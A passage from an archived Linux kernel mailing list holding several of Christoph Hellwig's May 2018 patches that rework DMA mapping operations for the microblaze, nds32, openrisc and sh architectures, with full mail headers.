-	/*
-	 * It's pointless to flush the cache as the memory segment
-	 * is given to the CPU
-	 */
-
-	if (direction == DMA_FROM_DEVICE)
-		__dma_sync(dma_handle, size, direction);
-}
-
-static inline void
-dma_nommu_sync_single_for_device(struct device *dev,
-				  dma_addr_t dma_handle, size_t size,
-				  enum dma_data_direction direction)
-{
-	/*
-	 * It's pointless to invalidate the cache if the device isn't
-	 * supposed to write to the relevant region
-	 */
-
-	if (direction == DMA_TO_DEVICE)
-		__dma_sync(dma_handle, size, direction);
-}
-
-static inline void
-dma_nommu_sync_sg_for_cpu(struct device *dev,
-			   struct scatterlist *sgl, int nents,
-			   enum dma_data_direction direction)
-{
-	struct scatterlist *sg;
-	int i;
-
-	/* FIXME this part of code is untested */
-	if (direction == DMA_FROM_DEVICE)
-		for_each_sg(sgl, sg, nents, i)
-			__dma_sync(sg->dma_address, sg->length, direction);
-}
-
-static inline void
-dma_nommu_sync_sg_for_device(struct device *dev,
-			      struct scatterlist *sgl, int nents,
-			      enum dma_data_direction direction)
-{
-	struct scatterlist *sg;
-	int i;
-
-	/* FIXME this part of code is untested */
-	if (direction == DMA_TO_DEVICE)
-		for_each_sg(sgl, sg, nents, i)
-			__dma_sync(sg->dma_address, sg->length, direction);
-}
-
-static
-int dma_nommu_mmap_coherent(struct device *dev, struct vm_area_struct *vma,
-			     void *cpu_addr, dma_addr_t handle, size_t size,
-			     unsigned long attrs)
+int arch_dma_mmap(struct device *dev, struct vm_area_struct *vma,
+		void *cpu_addr, dma_addr_t handle, size_t size,
+		unsigned long attrs)
 {
 #ifdef CONFIG_MMU
 	unsigned long user_count = vma_pages(vma);
@@ -170,17 +64,3 @@ int dma_nommu_mmap_coherent(struct device *dev, struct vm_area_struct *vma,
 	return -ENXIO;
 #endif
 }
-
-const struct dma_map_ops dma_nommu_ops = {
-	.alloc			= dma_nommu_alloc_coherent,
-	.free			= dma_nommu_free_coherent,
-	.mmap			= dma_nommu_mmap_coherent,
-	.map_sg			= dma_nommu_map_sg,
-	.map_page		= dma_nommu_map_page,
-	.unmap_page		= dma_nommu_unmap_page,
-	.sync_single_for_cpu	= dma_nommu_sync_single_for_cpu,
-	.sync_single_for_device	= dma_nommu_sync_single_for_device,
-	.sync_sg_for_cpu	= dma_nommu_sync_sg_for_cpu,
-	.sync_sg_for_device	= dma_nommu_sync_sg_for_device,
-};
-EXPORT_SYMBOL(dma_nommu_ops);
diff --git a/arch/microblaze/mm/consistent.c b/arch/microblaze/mm/consistent.c
index b06c3a7faf20..b9a9c8c3397b 100644
--- a/arch/microblaze/mm/consistent.c
+++ b/arch/microblaze/mm/consistent.c
@@ -33,6 +33,7 @@
 #include <linux/pci.h>
 #include <linux/interrupt.h>
 #include <linux/gfp.h>
+#include <linux/dma-noncoherent.h>
 
 #include <asm/pgalloc.h>
 #include <linux/io.h>
@@ -59,7 +60,8 @@
  * uncached region.  This will no doubt cause big problems if memory allocated
  * here is not also freed properly. -- JW
  */
-void *consistent_alloc(gfp_t gfp, size_t size, dma_addr_t *dma_handle)
+void *arch_dma_alloc(struct device *dev, size_t size, dma_addr_t *dma_handle,
+		gfp_t gfp, unsigned long attrs)
 {
 	unsigned long order, vaddr;
 	void *ret;
@@ -154,7 +156,6 @@ void *consistent_alloc(gfp_t gfp, size_t size, dma_addr_t *dma_handle)
 
 	return ret;
 }
-EXPORT_SYMBOL(consistent_alloc);
 
 #ifdef CONFIG_MMU
 static pte_t *consistent_virt_to_pte(void *vaddr)
@@ -178,7 +179,8 @@ unsigned long consistent_virt_to_pfn(void *vaddr)
 /*
  * free page(s) as defined by the above mapping.
  */
-void consistent_free(size_t size, void *vaddr)
+void arch_dma_free(struct device *dev, size_t size, void *vaddr,
+		dma_addr_t dma_addr, unsigned long attrs)
 {
 	struct page *page;
 
@@ -218,7 +220,6 @@ void consistent_free(size_t size, void *vaddr)
 	flush_tlb_all();
 #endif
 }
-EXPORT_SYMBOL(consistent_free);
 
 /*
  * make an area consistent.
-- 
2.17.0



From - Thu Nov 08 21:41:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.iommu,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: [PATCH 09/25] nds32: implement the unmap_sg DMA operation
Date: Tue, 22 May 2018 14:04:14 +0200
Lines: 30
Approved: news@gmane.org
Message-ID: <20180522120430.28709-10-hch@lst.de>
References: <20180522120430.28709-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1526990602 23667 195.159.176.226 (22 May 2018 12:03:22 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 22 May 2018 12:03:22 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, Michal Simek <monstr@monstr.eu>,
        Greentime Hu <green.hu@gmail.com>,
        Vincent Chen <deanbo422@gmail.com>,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        linux-hexagon@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        nios2-dev@lists.rocketboards.org, openrisc@lists.librecores.org,
        linux-parisc@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
        linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: linux-kernel-owner@vger.kernel.org Tue May 22 14:03:17 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fL60a-00063Z-Sm
	for glk-linux-kernel-4@m.gmane.org; Tue, 22 May 2018 14:03:17 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752266AbeEVMFZ (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Tue, 22 May 2018 08:05:25 -0400
Original-Received: from bombadil.infradead.org ([198.137.202.133]:52936 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751441AbeEVMFQ (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 22 May 2018 08:05:16 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=Ar/Cluo49COnQp0eRZIk86TP/uY6z/moya5VtQ2t5OM=; b=OK34m0doHy6KNU9GWnB/ECSCl
        UuFosNpmHK4DqUcfOMFj4jRZa/6joumZwv6D+jbQRmOI7qHjVKbvawPCzjJVXxH5tbMm3siNx+4vO
        n8SmgZqqUgpsdC6dGNN8oHm6ZBKBSZpq0B5NzzVpfXhLvQ1JvOgaE5y9BC81/RIpeUYs6k0b0p4Cj
        FUa8dRJXkq4BFeKMLW3wy1Tn2IiPLpnfNbOm+DyfTiV1l1x2rWvaGwMXVhy0xNFVFcjVgPwWZFfMr
        W7RlYeXDeo5xKtWJk0Jl96lGsHftv8ifhR1pfQtzQg0g6GIswpba/b6GpncLj1fqQbqPK33/aGFGL
    
Original-Received: from 80-109-164-210.cable.dynamic.surfer.at ([80.109.164.210] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.90_1 #2 (Red Hat Linux))
        id 1fL62K-0008Dk-9X; Tue, 22 May 2018 12:05:05 +0000
X-Mailer: git-send-email 2.17.0
In-Reply-To: <20180522120430.28709-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2773744 gmane.linux.kernel.iommu:24479 gmane.linux.kernel.cross-arch:44288 gmane.linux.ports.alpha:5068 gmane.linux.kernel.arc:3924 gmane.linux.ports.arm.kernel:652006 gmane.linux.ports.hexagon:1747 gmane.linux.ports.parisc:28641 gmane.linux.ports.sh.devel:57059 gmane.linux.ports.sparc:27896
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2773744>

This matches the implementation of the more commonly used unmap_single
routines and the sync_sg_for_cpu method which should provide equivalent
cache maintainance.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/nds32/kernel/dma.c | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/arch/nds32/kernel/dma.c b/arch/nds32/kernel/dma.c
index 4e6fb4ffd3f7..43d7fd432bb6 100644
--- a/arch/nds32/kernel/dma.c
+++ b/arch/nds32/kernel/dma.c
@@ -426,6 +426,12 @@ static void nds32_dma_unmap_sg(struct device *dev, struct scatterlist *sg,
 			       int nhwentries, enum dma_data_direction dir,
 			       unsigned long attrs)
 {
+	int i;
+
+	for (i = 0; i < nhwentries; i++, sg++) {
+		nds32_dma_sync_single_for_cpu(dev, sg_dma_address(sg),
+				sg->length, dir);
+	}
 }
 
 struct dma_map_ops nds32_dma_ops = {
-- 
2.17.0



From - Thu Nov 08 21:41:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.iommu,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: [PATCH 13/25] openrisc: remove the no-op unmap_page and unmap_sg DMA operations
Date: Tue, 22 May 2018 14:04:18 +0200
Lines: 58
Approved: news@gmane.org
Message-ID: <20180522120430.28709-14-hch@lst.de>
References: <20180522120430.28709-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1526990620 25057 195.159.176.226 (22 May 2018 12:03:40 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 22 May 2018 12:03:40 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, Michal Simek <monstr@monstr.eu>,
        Greentime Hu <green.hu@gmail.com>,
        Vincent Chen <deanbo422@gmail.com>,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        linux-hexagon@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        nios2-dev@lists.rocketboards.org, openrisc@lists.librecores.org,
        linux-parisc@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
        linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: linux-kernel-owner@vger.kernel.org Tue May 22 14:03:35 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fL60t-0006BK-4R
	for glk-linux-kernel-4@m.gmane.org; Tue, 22 May 2018 14:03:35 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752655AbeEVMFo (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Tue, 22 May 2018 08:05:44 -0400
Original-Received: from bombadil.infradead.org ([198.137.202.133]:53868 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751314AbeEVMFf (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 22 May 2018 08:05:35 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=By986hH0zoJAF0egojGGYE/aPSnpLAiQwpxv7XTUbxM=; b=S6dUD3dFwuhtitJgWKKMTxp/F
        rma38hzjYvYUaILpB3IZmXtykGS9fYbcZliT0jEKRZwYg5zIyQ7AzKn3K82iGjExl5Yy5dQWUs6sc
        TcD2e3ak2aGBVXElgtHGVUfF6AqsH6Cgkrf6S85Z3FcfzG+HUtBVQnUarHt/iUgKMTA7Ytl5VIDLU
        CQhPKHKr6X7RUzyt7No26QSFKQFwtttr6/6Pj1mKj/ZvICMnCHI8rdMPRFVNST47vYqJ4RyMfnUxU
        SrnuIlS1LD9VkRfmYWA/aFyW9F3KcATmch/yGlEyi3Wb5Cwfpt9pvL5G6SK1Lmoazp931VYJk11Vg
    
Original-Received: from 80-109-164-210.cable.dynamic.surfer.at ([80.109.164.210] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.90_1 #2 (Red Hat Linux))
        id 1fL62a-0000S9-Tw; Tue, 22 May 2018 12:05:21 +0000
X-Mailer: git-send-email 2.17.0
In-Reply-To: <20180522120430.28709-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2773746 gmane.linux.kernel.iommu:24480 gmane.linux.kernel.cross-arch:44289 gmane.linux.ports.alpha:5069 gmane.linux.kernel.arc:3925 gmane.linux.ports.arm.kernel:652007 gmane.linux.ports.hexagon:1748 gmane.linux.ports.parisc:28642 gmane.linux.ports.sh.devel:57060 gmane.linux.ports.sparc:27897
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2773746>

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/openrisc/kernel/dma.c | 23 -----------------------
 1 file changed, 23 deletions(-)

diff --git a/arch/openrisc/kernel/dma.c b/arch/openrisc/kernel/dma.c
index 47601274abf7..7cadff93d179 100644
--- a/arch/openrisc/kernel/dma.c
+++ b/arch/openrisc/kernel/dma.c
@@ -171,14 +171,6 @@ or1k_map_page(struct device *dev, struct page *page,
 	return addr;
 }
 
-static void
-or1k_unmap_page(struct device *dev, dma_addr_t dma_handle,
-		size_t size, enum dma_data_direction dir,
-		unsigned long attrs)
-{
-	/* Nothing special to do here... */
-}
-
 static int
 or1k_map_sg(struct device *dev, struct scatterlist *sg,
 	    int nents, enum dma_data_direction dir,
@@ -195,19 +187,6 @@ or1k_map_sg(struct device *dev, struct scatterlist *sg,
 	return nents;
 }
 
-static void
-or1k_unmap_sg(struct device *dev, struct scatterlist *sg,
-	      int nents, enum dma_data_direction dir,
-	      unsigned long attrs)
-{
-	struct scatterlist *s;
-	int i;
-
-	for_each_sg(sg, s, nents, i) {
-		or1k_unmap_page(dev, sg_dma_address(s), sg_dma_len(s), dir, 0);
-	}
-}
-
 static void
 or1k_sync_single_for_device(struct device *dev,
 			    dma_addr_t dma_handle, size_t size,
@@ -226,9 +205,7 @@ const struct dma_map_ops or1k_dma_map_ops = {
 	.alloc = or1k_dma_alloc,
 	.free = or1k_dma_free,
 	.map_page = or1k_map_page,
-	.unmap_page = or1k_unmap_page,
 	.map_sg = or1k_map_sg,
-	.unmap_sg = or1k_unmap_sg,
 	.sync_single_for_device = or1k_sync_single_for_device,
 };
 EXPORT_SYMBOL(or1k_dma_map_ops);
-- 
2.17.0



From - Thu Nov 08 21:41:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.iommu,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: [PATCH 14/25] openrisc: fix cache maintainance the the sync_single_for_device DMA operation
Date: Tue, 22 May 2018 14:04:19 +0200
Lines: 85
Approved: news@gmane.org
Message-ID: <20180522120430.28709-15-hch@lst.de>
References: <20180522120430.28709-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1526990626 25426 195.159.176.226 (22 May 2018 12:03:46 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 22 May 2018 12:03:46 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, Michal Simek <monstr@monstr.eu>,
        Greentime Hu <green.hu@gmail.com>,
        Vincent Chen <deanbo422@gmail.com>,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        linux-hexagon@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        nios2-dev@lists.rocketboards.org, openrisc@lists.librecores.org,
        linux-parisc@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
        linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: linux-kernel-owner@vger.kernel.org Tue May 22 14:03:41 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fL60y-0006VN-B1
	for glk-linux-kernel-4@m.gmane.org; Tue, 22 May 2018 14:03:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752689AbeEVMFu (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Tue, 22 May 2018 08:05:50 -0400
Original-Received: from bombadil.infradead.org ([198.137.202.133]:53952 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751602AbeEVMFh (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 22 May 2018 08:05:37 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=I7fdWZ5BunyQv13JTRTgi1TAo1wFA0ixDUrNCLTW878=; b=bG1Rr5tmrKY30IdMR9v2h/Tk5
        rSxr2ab6RiIhpEFRtXQ/+E6CXR9T2gyNkFIsChC7E+wCzj7+94G/Ac9/4kgV1htKlMwY/rKb4cedQ
        25NvtOx0MzaBYYNYOe9ArtZ8fo7b6ZlNr0lXtnTvghM4QhF3rURjV8o7Mk1H+RiDeVggsilYyTIwg
        wCB3to53NECqf5Kty82njEFgdyPrnBTBuFTfIezvVK4XwmzmydANWfzWu+WTtGsWKwf6EOy2thqnq
        +ROZcPYXGWWEbhILGiETU51WQer5nquHoxGkjfHfMQs/PECtWxSmwTRa//fy8+beQKK6J/Fty3rNM
    
Original-Received: from 80-109-164-210.cable.dynamic.surfer.at ([80.109.164.210] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.90_1 #2 (Red Hat Linux))
        id 1fL62e-0000cs-7e; Tue, 22 May 2018 12:05:24 +0000
X-Mailer: git-send-email 2.17.0
In-Reply-To: <20180522120430.28709-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2773747 gmane.linux.kernel.iommu:24481 gmane.linux.kernel.cross-arch:44290 gmane.linux.ports.alpha:5070 gmane.linux.kernel.arc:3926 gmane.linux.ports.arm.kernel:652008 gmane.linux.ports.hexagon:1749 gmane.linux.ports.parisc:28643 gmane.linux.ports.sh.devel:57061 gmane.linux.ports.sparc:27898
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2773747>

The cache maintaince in the sync_single_for_device operation should be
equivalent to the map_page operation to facilitate reusing buffers.  Fix the
openrisc implementation by moving the cache maintaince performed in map_page
into the sync_single method, and calling that from map_page.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/openrisc/kernel/dma.c | 42 +++++++++++++++++---------------------
 1 file changed, 19 insertions(+), 23 deletions(-)

diff --git a/arch/openrisc/kernel/dma.c b/arch/openrisc/kernel/dma.c
index 7cadff93d179..d6a0bf1fa713 100644
--- a/arch/openrisc/kernel/dma.c
+++ b/arch/openrisc/kernel/dma.c
@@ -133,19 +133,15 @@ or1k_dma_free(struct device *dev, size_t size, void *vaddr,
 	free_pages_exact(vaddr, size);
 }
 
-static dma_addr_t
-or1k_map_page(struct device *dev, struct page *page,
-	      unsigned long offset, size_t size,
-	      enum dma_data_direction dir,
-	      unsigned long attrs)
+static void
+or1k_sync_single_for_device(struct device *dev,
+			    dma_addr_t dma_handle, size_t size,
+			    enum dma_data_direction dir)
 {
 	unsigned long cl;
-	dma_addr_t addr = page_to_phys(page) + offset;
+	dma_addr_t addr = dma_handle;
 	struct cpuinfo_or1k *cpuinfo = &cpuinfo_or1k[smp_processor_id()];
 
-	if (attrs & DMA_ATTR_SKIP_CPU_SYNC)
-		return addr;
-
 	switch (dir) {
 	case DMA_TO_DEVICE:
 		/* Flush the dcache for the requested range */
@@ -168,6 +164,20 @@ or1k_map_page(struct device *dev, struct page *page,
 		break;
 	}
 
+}
+
+static dma_addr_t
+or1k_map_page(struct device *dev, struct page *page,
+	      unsigned long offset, size_t size,
+	      enum dma_data_direction dir,
+	      unsigned long attrs)
+{
+	unsigned long cl;
+	dma_addr_t addr = page_to_phys(page) + offset;
+	struct cpuinfo_or1k *cpuinfo = &cpuinfo_or1k[smp_processor_id()];
+
+	if (!(attrs & DMA_ATTR_SKIP_CPU_SYNC))
+		or1k_sync_single_for_device(dev, addr, size, dir);
 	return addr;
 }
 
@@ -187,20 +197,6 @@ or1k_map_sg(struct device *dev, struct scatterlist *sg,
 	return nents;
 }
 
-static void
-or1k_sync_single_for_device(struct device *dev,
-			    dma_addr_t dma_handle, size_t size,
-			    enum dma_data_direction dir)
-{
-	unsigned long cl;
-	dma_addr_t addr = dma_handle;
-	struct cpuinfo_or1k *cpuinfo = &cpuinfo_or1k[smp_processor_id()];
-
-	/* Flush the dcache for the requested range */
-	for (cl = addr; cl < addr + size; cl += cpuinfo->dcache_block_size)
-		mtspr(SPR_DCBFR, cl);
-}
-
 const struct dma_map_ops or1k_dma_map_ops = {
 	.alloc = or1k_dma_alloc,
 	.free = or1k_dma_free,
-- 
2.17.0



From - Thu Nov 08 21:41:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.iommu,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: [PATCH 18/25] sh: use dma_direct_ops for the CONFIG_DMA_COHERENT case
Date: Tue, 22 May 2018 14:04:23 +0200
Lines: 95
Approved: news@gmane.org
Message-ID: <20180522120430.28709-19-hch@lst.de>
References: <20180522120430.28709-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1526990634 26101 195.159.176.226 (22 May 2018 12:03:54 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 22 May 2018 12:03:54 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, Michal Simek <monstr@monstr.eu>,
        Greentime Hu <green.hu@gmail.com>,
        Vincent Chen <deanbo422@gmail.com>,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        linux-hexagon@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        nios2-dev@lists.rocketboards.org, openrisc@lists.librecores.org,
        linux-parisc@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
        linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: linux-kernel-owner@vger.kernel.org Tue May 22 14:03:49 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fL616-0006dn-En
	for glk-linux-kernel-4@m.gmane.org; Tue, 22 May 2018 14:03:48 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752712AbeEVMF5 (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Tue, 22 May 2018 08:05:57 -0400
Original-Received: from bombadil.infradead.org ([198.137.202.133]:54578 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751440AbeEVMFu (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 22 May 2018 08:05:50 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=mc+66cpLgGJrF8TqjhED7vezJOUwyDTPecUGyKpn7oE=; b=jVML5r0gVLrGD/GbdfhyK0JqI
        iCezvA8v8eX6IRQL0pJA+UdMi7rzncvHGaSBJ7FGXQFbHkE+W/8UryAUiCh3KEUrod4LrN0hfFq4U
        kwTtS/ToccAE2O9T8rmqYsFwlXsy/kuti57Cn8gHLb5GcICUYTk4CBoM0/XHwa8gNg+xGUxuiEHpk
        h+2CpCWjwz0KTzcu17Iub+hjAfSurIa7Y6yoWbQ5XBXkeCZ7cx5O8tvxMR70vPx64Tj27xDXW7WSX
        CLKAWhggC4H+CV28dqPa1cGcdd9lMQ6f6Zkf1ed7kSjKm+xaPtmU30ZzvuTFB6Vz+p/G0w+cej57k
    
Original-Received: from 80-109-164-210.cable.dynamic.surfer.at ([80.109.164.210] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.90_1 #2 (Red Hat Linux))
        id 1fL62t-0001Mn-Ix; Tue, 22 May 2018 12:05:40 +0000
X-Mailer: git-send-email 2.17.0
In-Reply-To: <20180522120430.28709-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2773748 gmane.linux.kernel.iommu:24482 gmane.linux.kernel.cross-arch:44291 gmane.linux.ports.alpha:5071 gmane.linux.kernel.arc:3927 gmane.linux.ports.arm.kernel:652010 gmane.linux.ports.hexagon:1750 gmane.linux.ports.parisc:28644 gmane.linux.ports.sh.devel:57062 gmane.linux.ports.sparc:27899
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2773748>

This is a slight change in behavior as we avoid the detour through the
virtual mapping for the coherent allocator, but if this CPU really is
coherent that should be the right thing to do.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/sh/Kconfig                   | 1 +
 arch/sh/include/asm/dma-mapping.h | 4 ++++
